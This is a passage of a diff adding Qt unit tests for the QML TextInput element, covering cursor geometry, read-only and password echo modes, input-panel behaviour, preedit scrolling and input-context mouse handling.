+ input.setWidth(fm.width(text.mid(0, 5)));
+
+ QRect r;
+
+ // some tolerance for different fonts.
+#ifdef Q_OS_LINUX
+ const int error = 2;
+#else
+ const int error = 5;
+#endif
+
+ for (int i = 0; i <= 5; ++i) {
+ input.setCursorPosition(i);
+ r = input.cursorRectangle();
+ int textWidth = fm.width(text.mid(0, i));
+
+ QVERIFY(r.left() < textWidth + error);
+ QVERIFY(r.right() > textWidth - error);
+ QCOMPARE(input.inputMethodQuery(Qt::ImMicroFocus).toRect(), r);
+ }
+
+ // Check the cursor rectangle remains within the input bounding rect when auto scrolling.
+ QVERIFY(r.left() < input.boundingRect().width());
+ QVERIFY(r.right() >= input.width() - error);
+
+ for (int i = 6; i < text.length(); ++i) {
+ input.setCursorPosition(i);
+ QCOMPARE(r, input.cursorRectangle());
+ QCOMPARE(input.inputMethodQuery(Qt::ImMicroFocus).toRect(), r);
+ }
+
+ for (int i = text.length() - 2; i >= 0; --i) {
+ input.setCursorPosition(i);
+ r = input.cursorRectangle();
+ QVERIFY(r.right() >= 0);
+ QCOMPARE(input.inputMethodQuery(Qt::ImMicroFocus).toRect(), r);
+ }
+}
+
+void tst_qdeclarativetextinput::readOnly()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/readOnly.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextInput *input = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(input != 0);
+ QTRY_VERIFY(input->hasActiveFocus() == true);
+ QVERIFY(input->isReadOnly() == true);
+ QString initial = input->text();
+ for(int k=Qt::Key_0; k<=Qt::Key_Z; k++)
+ simulateKey(canvas, k);
+ simulateKey(canvas, Qt::Key_Return);
+ simulateKey(canvas, Qt::Key_Space);
+ simulateKey(canvas, Qt::Key_Escape);
+ QCOMPARE(input->text(), initial);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::echoMode()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/echoMode.qml");
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextInput *input = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(input != 0);
+ QTRY_VERIFY(input->hasActiveFocus() == true);
+ QString initial = input->text();
+ Qt::InputMethodHints ref;
+ QCOMPARE(initial, QLatin1String("ABCDefgh"));
+ QCOMPARE(input->echoMode(), QDeclarativeTextInput::Normal);
+ QCOMPARE(input->displayText(), input->text());
+ //Normal
+ ref &= ~Qt::ImhHiddenText;
+ ref &= ~(Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhNone);
+ input->setEchoMode(QDeclarativeTextInput::NoEcho);
+ QCOMPARE(input->text(), initial);
+ QCOMPARE(input->displayText(), QLatin1String(""));
+ QCOMPARE(input->passwordCharacter(), QLatin1String("*"));
+ //NoEcho
+ ref |= Qt::ImhHiddenText;
+ ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhNone);
+ input->setEchoMode(QDeclarativeTextInput::Password);
+ //Password
+ ref |= Qt::ImhHiddenText;
+ ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->text(), initial);
+ QCOMPARE(input->displayText(), QLatin1String("********"));
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhNone);
+ input->setPasswordCharacter(QChar('Q'));
+ QCOMPARE(input->passwordCharacter(), QLatin1String("Q"));
+ QCOMPARE(input->text(), initial);
+ QCOMPARE(input->displayText(), QLatin1String("QQQQQQQQ"));
+ input->setEchoMode(QDeclarativeTextInput::PasswordEchoOnEdit);
+ //PasswordEchoOnEdit
+ ref &= ~Qt::ImhHiddenText;
+ ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhNone);
+ QCOMPARE(input->text(), initial);
+ QCOMPARE(input->displayText(), QLatin1String("QQQQQQQQ"));
+ QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), QLatin1String("QQQQQQQQ"));
+ QTest::keyPress(canvas, Qt::Key_A);//Clearing previous entry is part of PasswordEchoOnEdit
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ QCOMPARE(input->text(), QLatin1String("a"));
+ QCOMPARE(input->displayText(), QLatin1String("a"));
+ QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), QLatin1String("a"));
+ input->setFocus(false);
+ QVERIFY(input->hasActiveFocus() == false);
+ QCOMPARE(input->displayText(), QLatin1String("Q"));
+ QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), QLatin1String("Q"));
+ input->setFocus(true);
+ QInputMethodEvent inputEvent;
+ inputEvent.setCommitString(initial);
+ QApplication::sendEvent(canvas, &inputEvent);
+ QCOMPARE(input->text(), initial);
+ QCOMPARE(input->displayText(), initial);
+ QCOMPARE(input->inputMethodQuery(Qt::ImSurroundingText).toString(), initial);
+
+ // Test echo mode doesn't override imHints.
+ input->setIMHints(Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly);
+ ref |= Qt::ImhDialableCharactersOnly;
+ //Normal
+ input->setEchoMode(QDeclarativeTextInput::Normal);
+ ref |= Qt::ImhHiddenText;
+ ref &= ~(Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly);
+ //NoEcho
+ input->setEchoMode(QDeclarativeTextInput::NoEcho);
+ ref |= Qt::ImhHiddenText;
+ ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly);
+ //Password
+ input->setEchoMode(QDeclarativeTextInput::Password);
+ ref |= Qt::ImhHiddenText;
+ ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly);
+ //PasswordEchoOnEdit
+ input->setEchoMode(QDeclarativeTextInput::PasswordEchoOnEdit);
+ ref &= ~Qt::ImhHiddenText;
+ ref |= (Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly);
+ //Normal
+ input->setEchoMode(QDeclarativeTextInput::Normal);
+ ref |= Qt::ImhHiddenText;
+ ref &= ~(Qt::ImhNoAutoUppercase | Qt::ImhNoPredictiveText);
+ QCOMPARE(input->inputMethodHints(), ref);
+ QCOMPARE(input->imHints(), Qt::ImhHiddenText | Qt::ImhDialableCharactersOnly);
+
+ delete canvas;
+}
+
+
+#ifdef QT_GUI_PASSWORD_ECHO_DELAY
+void tst_qdeclarativetextinput::passwordEchoDelay()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/echoMode.qml");
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextInput *input = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QChar fillChar = QLatin1Char('*');
+
+ input->setEchoMode(QDeclarativeTextInput::Password);
+ QCOMPARE(input->displayText(), QString(8, fillChar));
+ input->setText(QString());
+ QCOMPARE(input->displayText(), QString());
+
+ QTest::keyPress(canvas, '0');
+ QTest::keyPress(canvas, '1');
+ QTest::keyPress(canvas, '2');
+ QCOMPARE(input->displayText(), QString(2, fillChar) + QLatin1Char('2'));
+ QTest::keyPress(canvas, '3');
+ QTest::keyPress(canvas, '4');
+ QCOMPARE(input->displayText(), QString(4, fillChar) + QLatin1Char('4'));
+ QTest::keyPress(canvas, Qt::Key_Backspace);
+ QCOMPARE(input->displayText(), QString(4, fillChar));
+ QTest::keyPress(canvas, '4');
+ QCOMPARE(input->displayText(), QString(4, fillChar) + QLatin1Char('4'));
+ QTest::qWait(QT_GUI_PASSWORD_ECHO_DELAY);
+ QTRY_COMPARE(input->displayText(), QString(5, fillChar));
+ QTest::keyPress(canvas, '5');
+ QCOMPARE(input->displayText(), QString(5, fillChar) + QLatin1Char('5'));
+ input->setFocus(false);
+ QVERIFY(!input->hasFocus());
+ QCOMPARE(input->displayText(), QString(6, fillChar));
+ input->setFocus(true);
+ QTRY_VERIFY(input->hasFocus());
+ QCOMPARE(input->displayText(), QString(6, fillChar));
+ QTest::keyPress(canvas, '6');
+ QCOMPARE(input->displayText(), QString(6, fillChar) + QLatin1Char('6'));
+
+ QInputMethodEvent ev;
+ ev.setCommitString(QLatin1String("7"));
+ QApplication::sendEvent(canvas, &ev);
+ QCOMPARE(input->displayText(), QString(7, fillChar) + QLatin1Char('7'));
+
+ delete canvas;
+}
+#endif
+
+
+void tst_qdeclarativetextinput::simulateKey(QDeclarativeView *view, int key)
+{
+ QKeyEvent press(QKeyEvent::KeyPress, key, 0);
+ QKeyEvent release(QKeyEvent::KeyRelease, key, 0);
+
+ QApplication::sendEvent(view, &press);
+ QApplication::sendEvent(view, &release);
+}
+
+QDeclarativeView *tst_qdeclarativetextinput::createView(const QString &filename)
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ return canvas;
+}
+class MyInputContext : public QInputContext
+{
+public:
+ MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false), updateReceived(false), eventType(QEvent::None) {}
+ ~MyInputContext() {}
+
+ QString identifierName() { return QString(); }
+ QString language() { return QString(); }
+
+ void reset() {}
+
+ bool isComposing() const { return false; }
+
+ bool filterEvent( const QEvent *event )
+ {
+ if (event->type() == QEvent::RequestSoftwareInputPanel)
+ openInputPanelReceived = true;
+ if (event->type() == QEvent::CloseSoftwareInputPanel)
+ closeInputPanelReceived = true;
+ return QInputContext::filterEvent(event);
+ }
+
+ void update() { updateReceived = true; }
+
+ void mouseHandler(int x, QMouseEvent *event)
+ {
+ cursor = x;
+ eventType = event->type();
+ eventPosition = event->pos();
+ eventGlobalPosition = event->globalPos();
+ eventButton = event->button();
+ eventButtons = event->buttons();
+ eventModifiers = event->modifiers();
+ }
+
+ void sendPreeditText(const QString &text, int cursor)
+ {
+ QList<QInputMethodEvent::Attribute> attributes;
+ attributes.append(QInputMethodEvent::Attribute(
+ QInputMethodEvent::Cursor, cursor, text.length(), QVariant()));
+
+ QInputMethodEvent event(text, attributes);
+ sendEvent(event);
+ }
+
+ bool openInputPanelReceived;
+ bool closeInputPanelReceived;
+ bool updateReceived;
+ int cursor;
+ QEvent::Type eventType;
+ QPoint eventPosition;
+ QPoint eventGlobalPosition;
+ Qt::MouseButton eventButton;
+ Qt::MouseButtons eventButtons;
+ Qt::KeyboardModifiers eventModifiers;
+};
+
+void tst_qdeclarativetextinput::openInputPanelOnClick()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ QSignalSpy focusOnPressSpy(&input, SIGNAL(activeFocusOnPressChanged(bool)));
+ input.setText("Hello world");
+ input.setPos(0, 0);
+ scene.addItem(&input);
+ view.show();
+ qApp->setAutoSipEnabled(true);
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&input);
+ QDeclarativeTextInputPrivate *inputPrivate = static_cast<QDeclarativeTextInputPrivate*>(pri);
+
+ // input panel on click
+ inputPrivate->showInputPanelOnFocus = false;
+
+ QStyle::RequestSoftwareInputPanel behavior = QStyle::RequestSoftwareInputPanel(
+ view.style()->styleHint(QStyle::SH_RequestSoftwareInputPanel));
+ QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QApplication::processEvents();
+ if (behavior == QStyle::RSIP_OnMouseClickAndAlreadyFocused) {
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ } else if (behavior == QStyle::RSIP_OnMouseClick) {
+ QCOMPARE(ic.openInputPanelReceived, true);
+ }
+ ic.openInputPanelReceived = false;
+
+ // focus should not cause input panels to open or close
+ input.setFocus(false);
+ input.setFocus(true);
+ input.setFocus(false);
+ input.setFocus(true);
+ input.setFocus(false);
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+}
+
+void tst_qdeclarativetextinput::openInputPanelOnFocus()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ QSignalSpy focusOnPressSpy(&input, SIGNAL(activeFocusOnPressChanged(bool)));
+ input.setText("Hello world");
+ input.setPos(0, 0);
+ scene.addItem(&input);
+ view.show();
+ qApp->setAutoSipEnabled(true);
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&input);
+ QDeclarativeTextInputPrivate *inputPrivate = static_cast<QDeclarativeTextInputPrivate*>(pri);
+ inputPrivate->showInputPanelOnFocus = true;
+
+ // test default values
+ QVERIFY(input.focusOnPress());
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+
+ // focus on press, input panel on focus
+ QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QApplication::processEvents();
+ QVERIFY(input.hasActiveFocus());
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+
+ // no events on release
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QCOMPARE(ic.openInputPanelReceived, false);
+ ic.openInputPanelReceived = false;
+
+ // if already focused, input panel can be opened on press
+ QVERIFY(input.hasActiveFocus());
+ QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+
+ // input method should stay enabled if focus
+ // is lost to an item that also accepts inputs
+ QDeclarativeTextInput anotherInput;
+ scene.addItem(&anotherInput);
+ anotherInput.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+ QCOMPARE(view.inputContext(), (QInputContext*)&ic);
+ QVERIFY(view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // input method should be disabled if focus
+ // is lost to an item that doesn't accept inputs
+ QDeclarativeItem item;
+ scene.addItem(&item);
+ item.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // no automatic input panel events should
+ // be sent if activeFocusOnPress is false
+ input.setFocusOnPress(false);
+ QCOMPARE(focusOnPressSpy.count(),1);
+ input.setFocusOnPress(false);
+ QCOMPARE(focusOnPressSpy.count(),1);
+ input.setFocus(false);
+ input.setFocus(true);
+ QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+
+ // one show input panel event should
+ // be set when openSoftwareInputPanel is called
+ input.openSoftwareInputPanel();
+ QCOMPARE(ic.openInputPanelReceived, true);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+ ic.openInputPanelReceived = false;
+
+ // one close input panel event should
+ // be sent when closeSoftwareInputPanel is called
+ input.closeSoftwareInputPanel();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, true);
+ ic.closeInputPanelReceived = false;
+
+ // set activeFocusOnPress back to true
+ input.setFocusOnPress(true);
+ QCOMPARE(focusOnPressSpy.count(),2);
+ input.setFocusOnPress(true);
+ QCOMPARE(focusOnPressSpy.count(),2);
+ input.setFocus(false);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QCOMPARE(ic.closeInputPanelReceived, false);
+ ic.closeInputPanelReceived = false;
+
+ // input panel should not re-open
+ // if focus has already been set
+ input.setFocus(true);
+ QCOMPARE(ic.openInputPanelReceived, true);
+ ic.openInputPanelReceived = false;
+ input.setFocus(true);
+ QCOMPARE(ic.openInputPanelReceived, false);
+
+ // input method should be disabled
+ // if TextInput loses focus
+ input.setFocus(false);
+ QApplication::processEvents();
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // input method should not be enabled
+ // if TextInput is read only.
+ input.setReadOnly(true);
+ ic.openInputPanelReceived = false;
+ input.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+}
+
+class MyTextInput : public QDeclarativeTextInput
+{
+public:
+ MyTextInput(QDeclarativeItem *parent = 0) : QDeclarativeTextInput(parent)
+ {
+ nbPaint = 0;
+ }
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)
+ {
+ nbPaint++;
+ QDeclarativeTextInput::paint(painter, option, widget);
+ }
+ int nbPaint;
+};
+
+void tst_qdeclarativetextinput::setHAlignClearCache()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyTextInput input;
+ input.setText("Hello world");
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(input.nbPaint, 1);
+ input.setHAlign(QDeclarativeTextInput::AlignRight);
+ QApplication::processEvents();
+ //Changing the alignment should trigger a repaint
+ QCOMPARE(input.nbPaint, 2);
+}
+
+void tst_qdeclarativetextinput::focusOutClearSelection()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ QDeclarativeTextInput input;
+ QDeclarativeTextInput input2;
+ input.setText(QLatin1String("Hello world"));
+ input.setFocus(true);
+ scene.addItem(&input2);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ input.select(2,5);
+ //The selection should work
+ QTRY_COMPARE(input.selectedText(), QLatin1String("llo"));
+ input2.setFocus(true);
+ QApplication::processEvents();
+ //The input lost the focus selection should be cleared
+ QTRY_COMPARE(input.selectedText(), QLatin1String(""));
+}
+
+void tst_qdeclarativetextinput::geometrySignals()
+{
+ QDeclarativeComponent component(&engine, SRCDIR "/data/geometrySignals.qml");
+ QObject *o = component.create();
+ QVERIFY(o);
+ QCOMPARE(o->property("bindingWidth").toInt(), 400);
+ QCOMPARE(o->property("bindingHeight").toInt(), 500);
+ delete o;
+}
+
+void tst_qdeclarativetextinput::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; TextInput { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativetextinput::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("canPaste") << "property bool foo: canPaste"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: canPaste"
+ << "";
+
+ QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: moveCursorSelection"
+ << "";
+
+ QTest::newRow("deselect") << "Component.onCompleted: deselect()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: deselect"
+ << "";
+}
+
+void tst_qdeclarativetextinput::preeditAutoScroll()
+{
+ QString committedText = "super";
+ QString preeditText = "califragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ QFontMetricsF fm(input.font());
+ input.setWidth(fm.width(committedText));
+ input.setText(committedText);
+ input.setPos(0, 0);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QSignalSpy cursorRectangleSpy(&input, SIGNAL(cursorRectangleChanged()));
+ int cursorRectangleChanges = 0;
+
+ // test the text is scrolled so the preedit is visible.
+ ic.sendPreeditText(preeditText.mid(0, 3), 1);
+ QVERIFY(input.positionAt(0) != 0);
+ QVERIFY(input.cursorRectangle().left() < input.boundingRect().width());
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+
+ // test the text is scrolled back when the preedit is removed.
+ ic.sendEvent(QInputMethodEvent());
+ QCOMPARE(input.positionAt(0), 0);
+ QCOMPARE(input.positionAt(input.width()), 5);
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+
+ // some tolerance for different fonts.
+#ifdef Q_OS_LINUX
+ const int error = 2;
+#else
+ const int error = 5;
+#endif
+
+ // test if the preedit is larger than the text input that the
+ // character preceding the cursor is still visible.
+ qreal x = input.positionToRectangle(0).x();
+ for (int i = 0; i < 3; ++i) {
+ ic.sendPreeditText(preeditText, i + 1);
+ QVERIFY(input.cursorRectangle().right() >= fm.width(preeditText.at(i)) - error);
+ QVERIFY(input.positionToRectangle(0).x() < x);
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+ x = input.positionToRectangle(0).x();
+ }
+ for (int i = 1; i >= 0; --i) {
+ ic.sendPreeditText(preeditText, i + 1);
+ QVERIFY(input.cursorRectangle().right() >= fm.width(preeditText.at(i)) - error);
+ QVERIFY(input.positionToRectangle(0).x() > x);
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+ x = input.positionToRectangle(0).x();
+ }
+
+ // Test incrementing the preedit cursor doesn't cause further
+ // scrolling when right most text is visible.
+ ic.sendPreeditText(preeditText, preeditText.length() - 3);
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+ x = input.positionToRectangle(0).x();
+ for (int i = 2; i >= 0; --i) {
+ ic.sendPreeditText(preeditText, preeditText.length() - i);
+ QCOMPARE(input.positionToRectangle(0).x(), x);
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+ }
+ for (int i = 1; i < 3; ++i) {
+ ic.sendPreeditText(preeditText, preeditText.length() - i);
+ QCOMPARE(input.positionToRectangle(0).x(), x);
+ QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
+ }
+
+ // Test disabling auto scroll.
+ ic.sendEvent(QInputMethodEvent());
+
+ input.setAutoScroll(false);
+ ic.sendPreeditText(preeditText.mid(0, 3), 1);
+ QCOMPARE(input.positionAt(0), 0);
+ QCOMPARE(input.positionAt(input.width()), 5);
+
+ ic.sendEvent(QInputMethodEvent());
+ input.setAutoScroll(true);
+ // Test committing pre-edit text at the start of the string. QTBUG-18789
+ input.setCursorPosition(0);
+ ic.sendPreeditText(input.text(), 5);
+ QCOMPARE(input.positionAt(0), 0);
+
+ QInputMethodEvent event;
+ event.setCommitString(input.text());
+ ic.sendEvent(event);
+
+ QCOMPARE(input.positionAt(0), 0);
+ QCOMPARE(input.positionAt(input.width()), 5);
+}
+
+void tst_qdeclarativetextinput::preeditMicroFocus()
+{
+ QString preeditText = "super";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ input.setPos(0, 0);
+ input.setAutoScroll(false);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QRect currentRect;
+ QRect previousRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+
+ // Verify that the micro focus rect is positioned the same for position 0 as
+ // it would be if there was no preedit text.
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, 0);
+ currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+
+ // Verify that the micro focus rect moves to the left as the cursor position
+ // is incremented.
+ for (int i = 1; i <= 5; ++i) {
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, i);
+ currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QVERIFY(previousRect.left() < currentRect.left());
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+ previousRect = currentRect;
+ }
+
+ // Verify that if there is no preedit cursor then the micro focus rect is the
+ // same as it would be if it were positioned at the end of the preedit text.
+ ic.sendPreeditText(preeditText, 0);
+ ic.updateReceived = false;
+ ic.sendEvent(QInputMethodEvent(preeditText, QList<QInputMethodEvent::Attribute>()));
+ currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+}
+
+void tst_qdeclarativetextinput::inputContextMouseHandler()
+{
+ QString text = "supercalifragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextInput input;
+ input.setWidth(200);
+ input.setText(text.mid(0, 12));
+ input.setCursorPosition(12);
+ input.setPos(0, 0);
+ input.setFocus(true);
+ scene.addItem(&input);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QFontMetricsF fm(input.font());
+ const qreal y = fm.height() / 2;
+
+ QPoint position2 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 2)), y)));
+ QPoint position8 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 8)), y)));
+ QPoint position20 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 20)), y)));
+ QPoint position27 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 27)), y)));
+ QPoint globalPosition2 = view.viewport()->mapToGlobal(position2);
+ QPoint globalposition8 = view.viewport()->mapToGlobal(position8);
+ QPoint globalposition20 = view.viewport()->mapToGlobal(position20);
+ QPoint globalposition27 = view.viewport()->mapToGlobal(position27);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
